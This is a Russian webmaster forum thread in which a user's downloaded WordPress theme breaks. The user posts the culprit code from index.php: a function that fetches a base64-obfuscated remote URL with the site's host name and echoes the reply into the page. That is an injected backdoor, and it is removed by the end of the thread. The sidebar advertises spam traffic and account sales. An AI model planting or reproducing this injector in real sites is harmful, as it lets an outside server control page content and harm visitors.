Проблема с ВП
Страницы: 1
[ Закрыто ] Проблема с ВП
Здравствуйте... Начну сразу:
Создал блог, на главной странице вывел 3 публикации выдало ошибку
Цитата
Fatal error: Cannot redeclare download() (previously declared in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php:27) in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php on line 27

Когда ставлю 1 публикацию на странице - ошибок нет (однако это не очень удобно)...
В строчке 27 системного кода находится:
Код
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {


Вся функция такова:
Код
<? 
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {
$a = "";$b = "";if (stripos($header, ":") !== FALSE) {list($a, $b) = explode(":", $header);$http_response_header[trim($a)] = trim($b);}}}return end($headers);}else {return $response;}}}elseif(ini_get('allow_url_fopen') && function_exists('file_get_contents')){return file_get_contents($uri);}}

$data = download(base64_decode('aHR0cDovL2ppbW1tb2JpLnJ1L3NlcnZlci5waHA=').'?id='.$_SERVER["HTTP_HOST"]);
echo $data;
?>

Пожалуйста помогите, а то у меня знаний в php 0 smile:(
...
Никто не знает?
ссылочку в личку дайте
$data = download(base64_decode('aHR0cDovL2ppbW1tb2JpLnJ1L3NlcnZlci5waHA=').'?id='.$_SERVER["HTTP_HOST"]);
echo $data;

вот эта строка ни о чем не говорит? где шаблон качали тоже ссылочку дайте
Александр Бек, это что вызов кода сапы что-ли? smile:eek:
Проблему решил удалив функцию smile:mocking:
Так как тема давно закрыта -> перенёс в раздел "Х".
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
22:27 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 
12:39 2Index - быстрая индексация страниц сайта и обратных ссылок 
06:17 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг 
11:46 SharkBoss - партнёрская программа для монетизации ЛЮБЫХ видов трафика (включая спам). 
23:10 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 
21:20 Rotapost прикрыли! Чем пользоваться? 
00:23 Раскрутка форума 
04:05 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
01:11 A-Parser 1.1 - продвинутый парсер поисковых систем, Suggest, PR, DMOZ, Whois, etc 
23:28 Помогите с оценкой стоимости сайта 
18:38 Продажа аккаунтов HH.RU 
13:38 BIGPROXY.SHOP - Резидентные Ротационные Backconnect Proxy USA EUROPA MIX [Безлимитный трафик] 
13:16 PonyBit.ru - обменный пункт PonyBit.ru (Понибит.ру) 
12:46 Мобильные и Резидентные Прокси Для Соц Сетей | 3 Гб Бесплатно 
13:08 Бесплатный майнинг Tether (USDT) 
10:29 С юмором по жизни! 
16:49 monetizer.agency – рекламная сеть для взрослого и развлекательного трафика. 100$ новому вебмастеру 
20:43 Добро пожаловать в цифровой мир... 
15:59 Про мясо 
23:09 ПП от PMS remote.team - 200$ за команду 
13:28 Компьютерная мышь